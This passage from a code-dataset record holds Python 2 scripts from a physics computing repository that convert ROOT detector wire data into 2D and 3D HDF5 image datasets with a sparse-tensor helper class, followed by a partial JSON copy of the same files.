images3D.C.append(np.array([t.simide_x,t.simide_y,t.simide_z]).transpose())\n images3D.V.append(np.array(t.simide_numElectrons))\n \n Cs=[]\n Vs=[]\n MaxSamples=4096\n\n images3D.Writeh5(f_3D,\"images3D\")\n\n f.Close()\n\n h5out2D.close()\n f_3D.close()\n #h5out3D.close()\n\n return True\n\n\n################################################### \n\nInputDir=sys.argv[1]\n\nif len(sys.argv)>2:\n OutputDir2D=sys.argv[2]\nelse:\n OutputDir2D=\"./\"\n\nif OutputDir2D[:-1]!=\"/\":\n OutputDir2D=OutputDir2D+\"/\"\n\nif len(sys.argv)>3:\n OutputDir3D=sys.argv[3]\nelse:\n OutputDir3D=\"./\"\n\nif OutputDir3D[:-1]!=\"/\":\n OutputDir3D=OutputDir3D+\"/\"\n\n\nprint \"Reading Directory:\",InputDir\nprint \"Output Dir 2d:\", OutputDir2D\nprint \"Output Dir 3d:\", OutputDir3D\n\n#Make the directories\n\nif not os.path.exists(OutputDir2D):\n os.makedirs(OutputDir2D)\nif not os.path.exists(OutputDir3D):\n os.makedirs(OutputDir3D)\n\nOffset=0\n\nif len(sys.argv)>4:\n Offset=max(long(sys.argv[4]),Offset)\n\nNEvents=0\n\nif len(sys.argv)>4:\n if long(sys.argv[4])>0:\n NEvents=long(sys.argv[4])\n\nprint \"NEvents per file: \",NEvents\nprint \"Offset: \",Offset\n\nfiles = glob.glob(InputDir + '/*/*/WireDump_*.root')\nprint 'Found %d files.' % len(files)\n\n\ndef wrapper(filename):\n basename = os.path.basename(filename)\n fout = '/' + basename.split(\".\")[-2]\n fout = fout.split(\"_\")[-1]\n # Construct name from Docker Subdirectories\n dockername = filename.split(\"/\")[-2]\n particlename = filename.split(\"/\")[-3]\n fout2d = OutputDir2D +particlename+\"_\"+fout + \"-\" + dockername\n fout3d = OutputDir3D +particlename+\"_\"+fout + \"-\" + dockername\n\n\n print \"2D File: \",fout2d, \"3D File: \",fout3d\n \n if not os.path.isfile(fout+\".h5\"):\n output=ProcessEvents(NEvents,filename,fout2d,fout3d,\n Offset=Offset)\n pass\n else:\n print \"Exists. Skipping.\",\n\n print \"Done.\"\n return\n\nnum_threads=20\n\n#wrapper(files[0])\n\ntic = time.clock()\ntry:\n pool = multiprocessing.Pool(num_threads)\n pool.map(wrapper, files)\nexcept:\n print \"Error\"\nfinally:\n pool.close()\n pool.join()\nprint time.clock() - tic\n"},{"alpha_fraction":0.5269439220428467,"alphanum_fraction":0.5362942814826965,"avg_line_length":27.921709060668945,"blob_id":"998901c93c0bf071a8d59d8349a448373bba7238","content_id":"965febfcbc1bca210a290e19984fdef53445ea42","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":8128,"license_type":"no_license","max_line_length":127,"num_lines":281,"path":"/SparseTensorDataSet.py","repo_name":"UTA-HEP-Computing/DLTool","src_encoding":"UTF-8","text":"from SparseNDArray import *\nfrom tables import *\nfrom scipy.sparse import find\nimport numpy as np\nimport h5py\n\nclass SparseTensorDataSet:\n def __init__(self,shape=(), default=0, unbinned=False,dtype=\"float32\"):\n self.unbinned=unbinned\n self.shape=tuple(shape)\n self.__default = default #default value of non-assigned elements\n self.ndim = len(shape)\n self.dtype = dtype\n self.C = [] # This will hold the sparse ND arrays\n self.V = [] # This will hold the sparse ND arrays\n\n def append(self,Coordinates,Values):\n Cs=[]\n Vs=[]\n \n for C,V in zip(Coordinates,Values):\n Cs.append(tuple(C))\n Vs.append(V)\n \n self.C.append(Cs)\n self.V.append(Vs)\n\n def convertToBinned(self):\n ## Not completed... need to flatten, use find, and unflatten, and store in self.C,self.V. Requires reindexing.\n N=self.len()\n\n for i in xrange(B):\n out,binedges=self.histogram(i,bins)\n find(out)\n\n self.binedges=binedges\n \n \n def sparse(self,i):\n a=sparray(self.shape,default=self.__default, dtype=self.dtype)\n\n for C,V in zip(self.C[i],self.V[i]):\n a[C]=V\n\n return a\n\n def histogram(self,i,bins=False):\n if not (isinstance(bins,list) or isinstance(bins,tuple) ):\n bins=self.shape\n # returns histogram and bin edges\n return np.histogramdd(self.C[i],bins=list(bins),weights=self.V[i])\n\n def histogramAll(self,range=False,bins=False):\n if not (isinstance(bins,list) or isinstance(bins,tuple) ):\n bins=self.shape\n if range:\n N=range[1]-range[0]\n else:\n N=self.len()\n out=np.zeros((N,)+tuple(bins))\n\n if not range:\n range=xrange(N)\n else:\n range=xrange(range[0],range[1])\n\n for i in range:\n out[i],binedges=self.histogram(i,bins)\n \n return out,binedges\n \n # This only makes sense if the coordinates are integers\n def dense(self,i):\n if self.unbinned:\n return self.histogram(i)[0]\n \n a=np.zeros((1,)+self.shape,dtype=self.dtype)\n\n for C,V in zip(self.C[i],self.V[i]):\n a[tuple(C)]=V\n\n return a\n\n def denseAll(self,range=[]):\n if self.unbinned:\n return self.histogramAll(range)[0]\n\n if len(range)>0:\n Start=range[0]\n Stop=range[1]\n else:\n Start=0\n Stop=len(self.C)\n\n a=np.zeros((Stop-Start,)+tuple(self.shape),dtype=self.dtype)\n \n for i in xrange(Start,Stop):\n for C,V in zip(self.C[i],self.V[i]):\n try:\n a[i-Start][tuple(C)]=V\n except:\n print \"Reached End of Sample.\"\n\n return a\n \n \n def Writeh5(self,h5file,name,range=[]):\n root = h5file.create_group(\"/\",name,name)\n FILTERS = Filters(complib='zlib', complevel=5)\n\n if self.unbinned:\n CT=h5file.create_vlarray(root,\"C\", Float32Atom(shape=len(self.shape)),\"\",filters=FILTERS)\n else:\n CT=h5file.create_vlarray(root,\"C\", Int32Atom(shape=len(self.shape)),\"\",filters=FILTERS)\n VT=h5file.create_vlarray(root,\"V\", Float32Atom(),\"\",filters=FILTERS) \n h5file.create_array(root,\"shape\",self.shape)\n h5file.create_array(root,\"unbinned\",[int(self.unbinned)])\n \n if len(range)>0:\n Start=range[0]\n Stop=range[1]\n else:\n Start=0\n Stop=len(self.C)\n\n for i in xrange(Start,Stop):\n CT.append(self.C[i])\n VT.append(self.V[i])\n\n def Readh5(self,f,name,range=[]):\n self.shape=np.array(f[name][\"shape\"])\n self.unbinned=bool(f[name][\"unbinned\"][0])\n if len(range)>0:\n Start=range[0]\n Stop=range[1]\n self.C=f[name][\"C\"][Start:Stop]\n self.V=f[name][\"V\"][Start:Stop]\n\n else:\n self.C=f[name][\"C\"]\n self.V=f[name][\"V\"]\n\n def Readh5Files(self,filelist,name):\n for filename in filelist:\n f=h5py.File(filename,\"r\")\n self.shape=np.array(f[name][\"shape\"])\n\n try:\n self.C=np.concatenate(self.C,f[name][\"C\"])\n # self.V=np.concatenate(self.V,f[name][\"V\"])\n self.V+=list(self.V,f[name][\"V\"])\n except:\n self.C=np.array(f[name][\"C\"])\n self.V=list(f[name][\"V\"])\n f.close()\n\n def Readh5Files2(self,filelist,name):\n for filename in filelist:\n f=h5py.File(filename,\"r\")\n self.shape=np.array(f[name][\"shape\"])\n\n try:\n self.C=f[name][\"C\"]\n # self.V=np.concatenate(self.V,f[name][\"V\"])\n self.V+=f[name][\"V\"]\n except:\n self.C=np.array(f[name][\"C\"])\n self.V=list(f[name][\"V\"])\n f.close()\n\n \n def FromDense(self,A,Clear=False):\n if Clear:\n self.C=[]\n self.V=[]\n for a in A:\n X,Y,V=find(a)\n C=np.array([X,Y])\n C=C.transpose()\n \n self.C.append(tuple(C))\n self.V.append(V)\n\n def AppendFromDense(self,a):\n\n X,Y,V=find(a)\n C=np.array([X,Y])\n C=C.transpose()\n \n self.C.append(tuple(C))\n self.V.append(V)\n\n\n \n def len(self):\n try:\n N=len(self.C)\n except:\n N=self.C.shape[0]\n return N\n\n \n def DenseGenerator(self,BatchSize,Wrap=True):\n Done=False\n N=self.len()\n while not Done:\n for i in xrange(0,N-BatchSize,BatchSize): # May miss some Examples at end of file... need better logic\n yield self.denseAll([i,i+BatchSize])\n Done=not Wrap\n \nif __name__ == '__main__':\n # Main\n import h5py\n import time\n\n shape=(10000,10,360)\n density=0.1\n batchsize=100\n \n N_Examples=shape[0]\n N_Vals=np.prod(shape)\n \n print \"Testing with tensor size\", shape, \" and density\",density,\".\"\n\n # Generate Some Sparse Data\n start=time.time()\n Vals=np.array(np.random.random(int(N_Vals*density)),dtype=\"float32\")\n Zs=np.zeros(N_Vals-Vals.shape[0],dtype=\"float32\")\n Train_X=np.concatenate((Vals,Zs))\n np.random.shuffle(Train_X)\n Train_X=Train_X.reshape(shape)\n print \"Time Generate Sparse Data (into a Dense Tensor):\",time.time()-start\n\n # Now Create the sparse \"Tensor\"\n X=SparseTensorDataSet(Train_X.shape[1:])\n \n # Test making the data sparse. (Only works for 2d right now)\n start=time.time()\n X.FromDense(Train_X)\n print \"Time to convert to Sparse:\",time.time()-start\n\n print \"Sparsity Achieved: \",float(sum(map(len,X.C)))/N_Vals\n\n # Write to File\n start=time.time()\n f=open_file(\"TestOut.h5\",\"w\")\n X.Writeh5(f,\"Data\")\n f.close()\n print \"Time to write out:\",time.time()-start\n \n # Read back\n start=time.time()\n XX=SparseTensorDataSet(Train_X.shape[1:])\n f=h5py.File(\"TestOut.h5\",\"r\")\n XX.Readh5(f,\"Data\")\n f.close()\n print \"Time to read back:\",time.time()-start\n \n # Try to reconstruct the original data\n start=time.time()\n XXX=XX.denseAll()\n print \"Time to convert to Dense:\",time.time()-start\n \n # Test\n print\n NValues=np.prod(Train_X.shape)\n T=Train_X==XXX\n NGood=np.sum(T)\n print \"Number of non-matching values\",NValues-NGood ,\"/\",NValues\n\n print \"The Difference:\"\n print XXX[np.where(T==False)]-Train_X[np.where(T==False)]\n print \"Average difference of mismatch terms:\", np.sum( XXX[np.where(T==False)]-Train_X[np.where(T==False)])/(NValues-NGood)\n\n start=time.time()\n print \"Generator batchsize:\",batchsize\n for D in XX.DenseGenerator(batchsize,False):\n print \".\",\n\n print\n print \"Time to run generator:\",time.time()-start\n\n"},{"alpha_fraction":0.5505473017692566,"alphanum_fraction":0.5676110982894897,"avg_line_length":28.81730842590332,"blob_id":"08ae34e06f959e43b5b73b8375aefc1da38fcea5","content_id":"435f970dda7f38e6ce9321a36c997f07fd0a79ee","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3106,"license_type":"no_license","max_line_length":136,"num_lines":104,"path":"/WireDataUtils.py","repo_name":"UTA-HEP-Computing/DLTool","src_encoding":"UTF-8","text":"import numpy\nimport numpy as np\nimport h5py\nimport math\nimport ROOT\n\ndef DownSample(Data,factor,Nx,Ny,sumabs=False):\n if factor==0:\n return np.reshape(Data,[Nx,Ny]),Ny\n\n # Remove entries at the end so Down Sampling works\n NyNew=Ny-Ny%factor\n Data1=np.reshape(Data,[Nx,Ny])[:,0:NyNew]\n \n # DownSample \n if sumabs:\n a=abs(Data1.reshape([Nx*NyNew/factor,factor])).sum(axis=1).reshape([Nx,NyNew/factor])\n else:\n a=Data1.reshape([Nx*NyNew/factor,factor]).sum(axis=1).reshape([Nx,NyNew/factor])\n\n return a,NyNew\n\ndef GetXWindow(Data,i,BoxSizeX):\n return Data[:,i:i+BoxSizeX]\n\n\ndef ScanWindow(Data,BoxSizeX=256,Nx=240,Ny=4096):\n\n NyNew=Ny\n #Scan the Window\n b=np.array([0]*(NyNew-BoxSizeX))\n\n for i in xrange(0,NyNew-BoxSizeX):\n b[i]=GetXWindow(Data,i,BoxSizeX).clip(0,99999999999).sum()\n\n #Find the Window with max Energy/Charge\n BoxStart=b.argmax()\n MaxSum=b[BoxStart]\n\n #Store the window\n Box=Data[:,BoxStart:BoxStart+BoxSizeX]\n\n return Box,BoxStart,MaxSum\n\n\ndef ReadADCWire(t,EventList=[0],NPlanes=2,samples=4500):\n\n Events=[]\n Attributes=[]\n\n for NEvent in EventList:\n\n if (NEvent>-1):\n t.GetEntry(NEvent)\n\n x=numpy.array(t.WireADC)\n a_size = t.geant_list_size \n #print a_size\n if NPlanes<3:\n y=numpy.pad(x,(0,t.nWires/NPlanes*samples),mode='constant')\n else:\n y=x\n\n z=numpy.reshape(y,[NPlanes+1,t.nWires/NPlanes,samples])\n Events+=[z]\n #Creat Dictionary\n AA={}\n\t#getting information for the line equation\n #print \"out\"\n# print numpy.array(t.StartPointx)[0]\n #if (numpy.array(t.process_primary)[a_size] == 0) and (numpy.array(t.pdg)[a_size] == 11 or numpy.array(t.pdg)[a_size] == 13)\n for PrimaryI in xrange(0,a_size):\n if t.process_primary[PrimaryI]==1:\n break\n\n #print \"PrimaryI:\", PrimaryI\n \n #print \"xi \",xi\n\n # [xi,yi,zi]= [t.StartPointx[PrimaryI]-t.EndPointx[PrimaryI],\n # t.StartPointy[PrimaryI]-t.EndPointy[PrimaryI],\n # t.StartPointz[PrimaryI]-t.EndPointz[PrimaryI]]\n \n AA[\"Track_length\"]= numpy.array(t.Track_length)[PrimaryI] #<---- here is now computed in WireDump\n AA[\"pdg\"] = numpy.array(t.pdg)[PrimaryI]\n AA[\"Eng\"] = numpy.array(t.Eng)[PrimaryI]\n AA[\"Px\"] = numpy.array(t.Px)[PrimaryI]\n AA[\"Py\"] = numpy.array(t.Py)[PrimaryI]\n AA[\"Pz\"] = numpy.array(t.Pz)[PrimaryI] \n#Creat Dictionary\n #AA={}\n\n# AA[\"Foo\"]=t.bar\n\t AA[\"enu_truth\"]=numpy.array(t.enu_truth)\n AA[\"lep_mom_truth\"]=numpy.array(t.lep_mom_truth)\n AA[\"mode_truth\"]=numpy.array(t.mode_truth)\n #AA[\"Track_length\"]=math.sqrt(math.pow((xs-x_i),2)+math.pow((ys-y_i),2)+math.pow((zs-z_i),2))\n Attributes+=[AA]\n\n return [Events,Attributes]\n\n\n\n#def LineEquation_point(\n\n\n\n \n"},{"alpha_fraction":0.5191272497177124,"alphanum_fraction":0.5627656579017639,"avg_line_length":26.34883689880371,"blob_id":"2c08bde183d1e70325e4d11f9346f9110561aa4c","content_id":"137e42db68e449ceb81dc7dd0d7b613631aa4e09","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3529,"license_type":"no_license","max_line_length":134,"num_lines":129,"path":"/ProcessWireCell.py","repo_name":"UTA-HEP-Computing/DLTool","src_encoding":"UTF-8","text":"from ROOT import *\nfrom root_numpy import hist2array\nfrom SparseTensorDataSet import *\nimport os,sys\n\ndef Plot3DTrack(X,Y,Z,V):\n import matplotlib.pyplot as plt\n import plotly.plotly as py\n from mpl_toolkits.mplot3d import Axes3D\n\n fig = plt.figure()\n fig,ax = fig.add_subplot(111, projection='3d')\n ax.scatter(X,Y,Z,c=V)\n fig.show()\n return ax\n\ndef PlotSparseTensor(T,i):\n return Plot3DTrack(T.C[i][0:100,0],\n T.C[i][0:100,1],\n T.C[i][0:100,2],\n T.V[i][0:100])\n\n\ndef ProcessRootFile(filein=\"WireDump_3D_electron_1462146937.root\",fileout=False,N_Max=-1,Sparse2D=False):\n Rf=TFile.Open(filein)\n t=Rf.Get(\"wiredump/anatree\")\n\n bins3D=[240,240,4096]\n bins2D=[480,4096]\n\n N=t.GetEntries()\n \n if N_Max>0:\n N=min(N,N_Max)\n\n images3D=SparseTensorDataSet(bins3D,unbinned=True)\n if Sparse2D:\n images2D=SparseTensorDataSet(bins2D,unbinned=False)\n else:\n d=np.zeros((N,480,4096))\n \n for i in xrange(N):\n t.GetEntry(i)\n print i,\",\",\n sys.stdout.flush()\n\n images3D.C.append(np.array([t.simide_x,t.simide_y,t.simide_z]).transpose())\n images3D.V.append(np.array(t.simide_numElectrons))\n\n Cs=[]\n Vs=[]\n\n MaxSamples=4096\n\n # if Sparse2D:\n # d=np.zeros((t.raw_nChannel,MaxSamples))\n # for j in xrange(t.raw_nChannel):\n # h=t.raw_wf[j]\n # d[j]=hist2array(h)[:MaxSamples]\n\n # images2D.AppendFromDense(d)\n # else:\n # for j in xrange(t.raw_nChannel):\n # h=t.raw_wf[j]\n # d[i][j]=hist2array(h)[:MaxSamples]\n\n if not fileout:\n fileout2D=os.path.basename(filein)+\".2d.h5\"\n fileout3D=os.path.basename(filein)+\".3d.h5\"\n\n if Sparse2D:\n f=open_file(fileout2D,\"w\")\n images2D.Writeh5(f,\"images2D\")\n f.close()\n else:\n f=h5py.File(fileout2D,\"w\")\n dset = f.create_dataset(\"images2D\", (N,480,4096),compression=\"gzip\")\n dset[...]=d\n f.close()\n \n f=open_file(fileout3D,\"w\")\n images3D.Writeh5(f,\"images3D\")\n f.close()\n\n #return t,Rf,images2D,images3D\n\nif __name__ == '__main__':\n # Main\n\n t=ProcessRootFile(Sparse2D=False,N_Max=10)\n \n #PlotSparseTensor(images,2)\n\n\n images3D=SparseTensorDataSet()\n \n # f=h5py.File(\"celltree_SimChannel_Raw.root.3d.h5\",\"r\")\n # images3D.Readh5(f,\"images3D\")\n # f.close()\n #images2D=SparseTensorDataSet()\n #f=h5py.File(\"celltree_SimChannel_Raw.root.2d.h5\",\"r\")\n #images2D.Readh5(f,\"images2D\")\n # f.close()\n\n\n# f=h5py.File(\"celltree_SimChannel_Raw.root.2d.h5\",\"r\")\n# images2D=np.array(f[\"images2D\"])\n# f.close()\n\n # hAll1=images1.histogramAll()\n \n # NValues=np.prod(images.shape)*images.len()\n # T=hAll[0]==hAll1[0]\n # NGood=np.sum(T)\n # print \"Number of non-matching values\",NValues-NGood ,\"/\",NValues\n\n # print \"The Difference:\"\n # print hAll[0][np.where(T==False)]-hAll1[0][np.where(T==False)]\n # print \"Average difference of mismatch terms:\", np.sum( hAll[0][np.where(T==False)]-hAll1[0][np.where(T==False)])/(NValues-NGood)\n\n\n # for k in xrange(0,4096): #h.GetNbinsX()+1):\n# V=h.GetBinContent(k+1)\n# if V!=0.:\n# Cs.append((j,k))\n # Vs.append(V)\n\n# images2D.C.append(np.array(Cs))\n# images2D.V.append(np.array(Vs))\n\n"},{"alpha_fraction":0.603939414024353,"alphanum_fraction":0.625151515007019,"avg_line_length":22.076923370361328,"blob_id":"676fdfa3f0e71f7c464f4b2c9a8649c981c448f7","content_id":"c16e3915d6a8c45e58eab71cca8bf52ffc8fdc16","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3300,"license_type":"no_license","max_line_length":131,"num_lines":143,"path":"/ProcessRootFile.py","repo_name":"UTA-HEP-Computing/DLTool","src_encoding":"UTF-8","text":"import time\nimport ROOT\nimport rootpy\nimport root_numpy\nimport numpy\nimport math\nimport sys\nimport os\nimport glob\n\nfrom scipy import misc as m\nfrom WireDataUtils import *\nfrom subprocess import call\nimport multiprocessing \n\ndef preprocess(X):\n return X[:2,:,0:4096] \n\ndef ProcessEvents(NEvents,infile,outfile,Offset=0):\n # ReadEvents\n f=ROOT.TFile(infile)\n t=f.Get(\"wiredump/anatree\")\n if NEvents<=0:\n NEvents=t.GetEntries()\n \n EventList=range(0,NEvents)\n\n #Read one event.\n [example,Attributes]=ReadADCWire(t,[EventList[0]],NPlanes=2,samples=4500)\n\n X=preprocess(example[0])\n image_shape= X.shape\n assert image_shape == (2, 240, 4096)\n\n dtype = 'float16' # 'float16' # Half-precision should be enough.\n compression = 'gzip' #'gzip'\n chunksize = 1 # We use chunksize=1 because we don't know how many events are in src file.\n chunkshape = (chunksize,) + image_shape\n\n h5FileName=outfile\n h5out= h5py.File(h5FileName+\".h5\",\"w\")\n N=len(EventList)\n \n # Initialize data sets.\n dsets = {}\n\n # Each event contains the following attributes.\n attributes = Attributes[0].keys()\n for attr in attributes:\n dsets[attr] = h5out.create_dataset(attr, (N,), dtype='float32')\n\n # Each event is an image of image_shape.\n dsets['features'] = h5out.create_dataset('features', (N,)+image_shape, chunks=chunkshape, dtype=dtype, compression=compression)\n \n for EventI in xrange(0,N): \n [events,Attributes]=ReadADCWire(t,[EventList[EventI]],NPlanes=2,samples=4500)\n \n event=events[0]\n dsets['features'][EventI] = preprocess(event)\n\n for attr in Attributes[0]:\n dsets[attr][EventI] = Attributes[0][attr]\n\n f.Close()\n\n h5out.close()\n\n return True\n\n\n################################################### \n\nInputDir=sys.argv[1]\n\nif len(sys.argv)>2:\n OutputDir=sys.argv[2]\nelse:\n OutputDir=\"./\"\n\nif OutputDir[:-1]!=\"/\":\n OutputDir=OutputDir+\"/\"\n\nprint \"Reading Directory:\",InputDir\nprint \"Output Dir:\", OutputDir\n\n#Make the directories\n\nif not os.path.exists(OutputDir):\n os.makedirs(OutputDir)\n\nOffset=0\n\nif len(sys.argv)>4:\n Offset=max(long(sys.argv[4]),Offset)\n\nNEvents=0\n\nif len(sys.argv)>3:\n if long(sys.argv[3])>0:\n NEvents=long(sys.argv[3])\n\nprint \"NEvents per file: \",NEvents\nprint \"Offset: \",Offset\n\nfiles = glob.glob(InputDir + '/*/*/wire_dump*.root')\nprint 'Found %d files.' % len(files)\n\n\ndef wrapper(filename):\n basename = os.path.basename(filename)\n fout = '/' + basename.split(\".\")[-2]\n fout = fout.split(\"_\")[-1]\n # Construct name from Docker Subdirectories\n dockername = filename.split(\"/\")[-2]\n particlename = filename.split(\"/\")[-3]\n fout = OutputDir +particlename+\"_\"+fout + \"-\" + dockername\n\n print fout,\n \n if not os.path.isfile(fout+\".h5\"): \n output=ProcessEvents(NEvents,filename,fout,\n Offset=Offset)\n pass\n else:\n print \"Exists. Skipping.\",\n\n print \"Done.\"\n return\n\nnum_threads=48\n\n#wrapper(files[0])\n\ntic = time.clock()\ntry:\n pool = multiprocessing.Pool(num_threads)\n pool.map(wrapper, files)\nexcept:\n print \"Error____\"\nfinally:\n pool.close()\n pool.join()\nprint time.clock() - tic\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6911764740943909,\n \"alphanum_fraction\": 0.7426470518112183,\n \"avg_line_length\": 33,\n \"blob_id\": \"160490d64a3b75af9513d76a7f6caae84af28515\",\n \"content_id\": \"09593daf01f8880b5bcb97770935ee18c8431319\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 136,\n \"license_type\": \"no_license\",\n \"max_line_length\": 93,\n \"num_lines\": 4,\n \"path\": \"/README.md\",\n \"repo_name\": \"UTA-HEP-Computing/DLTool\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# DLTool\\n3D/2D h5 files\\n####How to Run###\\npython ProcessRootFile_WireCell.py /input-directory-of-root-files/ output-2d-H5 output-3d-H5\\n\"\n },\n {\n \"alpha_fraction\": 0.5910722017288208,\n \"alphanum_fraction\": 0.6294302344322205,\n \"avg_line_length\": 22.712766647338867,\n \"blob_id\": \"875a293fc40a4948424abf3fe09af71b9d68c68b\",\n \"content_id\": \"0f92d34d8b267ad9a82ca03fc88e26fcdedc2bb5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4458,\n \"license_type\": \"no_license\",\n \"max_line_length\": 133,\n \"num_lines\": 188,\n \"path\": \"/ProcessRootFile_WireCell.py\",\n \"repo_name\": \"UTA-HEP-Computing/DLTool\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import time\\nimport ROOT\\nimport rootpy\\nimport root_numpy\\nimport numpy\\nimport math\\nimport sys\\nimport os\\nimport glob\\nfrom SparseTensorDataSet import *\\n\\nfrom scipy import misc as m\\nfrom WireDataUtils import *\\nfrom subprocess import call\\nimport multiprocessing \\n\\ndef preprocess(X):\\n return X[:2,:,0:4096] \\n\\ndef ProcessEvents(NEvents,infile,outfile2D,outfile3D,Offset=0):\\n \\n bins3D=[240,240,4096]\\n #bins2D=[480,4096]\\n\\n # ReadEvents\\n f=ROOT.TFile(infile)\\n t=f.Get(\\\"wiredump/anatree\\\")\\n if NEvents<=0:\\n NEvents=t.GetEntries()\\n \\n EventList=range(0,NEvents)\\n\\n\\n #Read one event.\\n [example,Attributes]=ReadADCWire(t,[EventList[0]],NPlanes=2,samples=4500)\\n\\n X=preprocess(example[0])\\n image_shape= X.shape\\n assert image_shape == (2, 240, 4096)\\n\\n dtype = 'float16' # 'float16' # Half-precision should be enough.\\n compression = 'gzip' #'gzip'\\n chunksize = 1 # We use chunksize=1 because we don't know how many events are in src file.\\n chunkshape = (chunksize,) + image_shape\\n\\n h5FileName2D=outfile2D\\n h5out2D= h5py.File(h5FileName2D+\\\".2d.h5\\\",\\\"w\\\")\\n h5FileName3D=outfile3D\\n #h5out3D= h5py.File(h5FileName3D+\\\".3d.h5\\\",\\\"w\\\")\\n \\n #file to save 3D images\\n #fileout3D=os.path.basename(infile)+\\\".3d.h5\\\"\\n f_3D=open_file(h5FileName3D+\\\".3d.h5\\\",\\\"w\\\")\\n #images3D.Writeh5(h5out3D,\\\"images3D\\\")\\n #f.close()\\n \\n\\n N=len(EventList)\\n \\n # Initialize data sets.\\n dsets = {}\\n\\n # Each event contains the following attributes.\\n attributes = Attributes[0].keys()\\n for attr in attributes:\\n \\n dsets[attr] = h5out2D.create_dataset(attr, (N,), dtype='float32')\\n\\n # Each event is an image of image_shape.\\n dsets['features'] = h5out2D.create_dataset('features', (N,)+image_shape, chunks=chunkshape, dtype=dtype, compression=compression)\\n #getting 3D sparse matrix for 3D imaging\\n images3D=SparseTensorDataSet(bins3D,unbinned=True)\\n \\n for EventI in xrange(0,N):\\n \\n [events,Attributes]=ReadADCWire(t,[EventList[EventI]],NPlanes=2,samples=4500)\\n \\n event=events[0]\\n dsets['features'][EventI] = preprocess(event)\\n\\n for attr in Attributes[0]:\\n dsets[attr][EventI] = Attributes[0][attr]\\n \\n images3D.C.append(np.array([t.simide_x,t.simide_y,t.simide_z]).transpose())\\n images3D.V.append(np.array(t.simide_numElectrons))\\n \\n Cs=[]\\n Vs=[]\\n MaxSamples=4096\\n\\n images3D.Writeh5(f_3D,\\\"images3D\\\")\\n\\n f.Close()\\n\\n h5out2D.close()\\n f_3D.close()\\n #h5out3D.close()\\n\\n return True\\n\\n\\n################################################### \\n\\nInputDir=sys.argv[1]\\n\\nif len(sys.argv)>2:\\n OutputDir2D=sys.argv[2]\\nelse:\\n OutputDir2D=\\\"./\\\"\\n\\nif OutputDir2D[:-1]!=\\\"/\\\":\\n OutputDir2D=OutputDir2D+\\\"/\\\"\\n\\nif len(sys.argv)>3:\\n OutputDir3D=sys.argv[3]\\nelse:\\n OutputDir3D=\\\"./\\\"\\n\\nif OutputDir3D[:-1]!=\\\"/\\\":\\n OutputDir3D=OutputDir3D+\\\"/\\\"\\n\\n\\nprint \\\"Reading Directory:\\\",InputDir\\nprint \\\"Output Dir 2d:\\\", OutputDir2D\\nprint \\\"Output Dir 3d:\\\", OutputDir3D\\n\\n#Make the directories\\n\\nif not os.path.exists(OutputDir2D):\\n os.makedirs(OutputDir2D)\\nif not os.path.exists(OutputDir3D):\\n os.makedirs(OutputDir3D)\\n\\nOffset=0\\n\\nif len(sys.argv)>4:\\n Offset=max(long(sys.argv[4]),Offset)\\n\\nNEvents=0\\n\\nif len(sys.argv)>4:\\n if long(sys.argv[4])>0:\\n NEvents=long(sys.argv[4])\\n\\nprint \\\"NEvents per file: \\\",NEvents\\nprint \\\"Offset: \\\",Offset\\n\\nfiles = glob.glob(InputDir + '/*/*/WireDump_*.root')\\nprint 'Found %d files.' % len(files)\\n\\n\\ndef wrapper(filename):\\n basename = os.path.basename(filename)\\n fout = '/' + basename.split(\\\".\\\")[-2]\\n fout = fout.split(\\\"_\\\")[-1]\\n # Construct name from Docker Subdirectories\\n dockername = filename.split(\\\"/\\\")[-2]\\n particlename = filename.split(\\\"/\\\")[-3]\\n fout2d = OutputDir2D +particlename+\\\"_\\\"+fout + \\\"-\\\" + dockername\\n fout3d = OutputDir3D +particlename+\\\"_\\\"+fout + \\\"-\\\" + dockername\\n\\n\\n print \\\"2D File: \\\",fout2d, \\\"3D File: \\\",fout3d\\n \\n if not os.path.isfile(fout+\\\".h5\\\"):\\n output=ProcessEvents(NEvents,filename,fout2d,fout3d,\\n Offset=Offset)\\n pass\\n else:\\n print \\\"Exists. Skipping.\\\",\\n\\n print \\\"Done.\\\"\\n return\\n\\nnum_threads=20\\n\\n#wrapper(files[0])\\n\\ntic = time.clock()\\ntry:\\n pool = multiprocessing.Pool(num_threads)\\n pool.map(wrapper, files)\\nexcept:\\n print \\\"Error\\\"\\nfinally:\\n pool.close()\\n pool.join()\\nprint time.clock() - tic\\n\"\n },\n {\n \"alpha_fraction\": 0.5269439220428467,\n \"alphanum_fraction\": 0.5362942814826965,\n \"avg_line_length\": 27.921709060668945,\n \"blob_id\": \"998901c93c0bf071a8d59d8349a448373bba7238\",\n \"content_id\": \"965febfcbc1bca210a290e19984fdef53445ea42\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 8128,\n \"license_type\": \"no_license\",\n \"max_line_length\": 127,\n \"num_lines\": 281,\n \"path\": \"/SparseTensorDataSet.py\",\n \"repo_name\": \"UTA-HEP-Computing/DLTool\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from SparseNDArray import *\\nfrom tables import *\\nfrom scipy.sparse import find\\nimport numpy as np\\nimport h5py\\n\\nclass SparseTensorDataSet:\\n def __init__(self,shape=(), default=0, unbinned=False,dtype=\\\"float32\\\"):\\n self.unbinned=unbinned\\n self.shape=tuple(shape)\\n self.__default = default #default value of non-assigned elements\\n self.ndim = len(shape)\\n self.dtype = dtype\\n self.C = [] # This will hold the sparse ND arrays\\n self.V = [] # This will hold the sparse ND arrays\\n\\n def append(self,Coordinates,Values):\\n Cs=[]\\n Vs=[]\\n \\n for C,V in zip(Coordinates,Values):\\n Cs.append(tuple(C))\\n Vs.append(V)\\n \\n self.C.append(Cs)\\n self.V.append(Vs)\\n\\n def convertToBinned(self):\\n ## Not completed... need to flatten, use find, and unflatten, and store in self.C,self.V. Requires reindexing.\\n N=self.len()\\n\\n for i in xrange(B):\\n 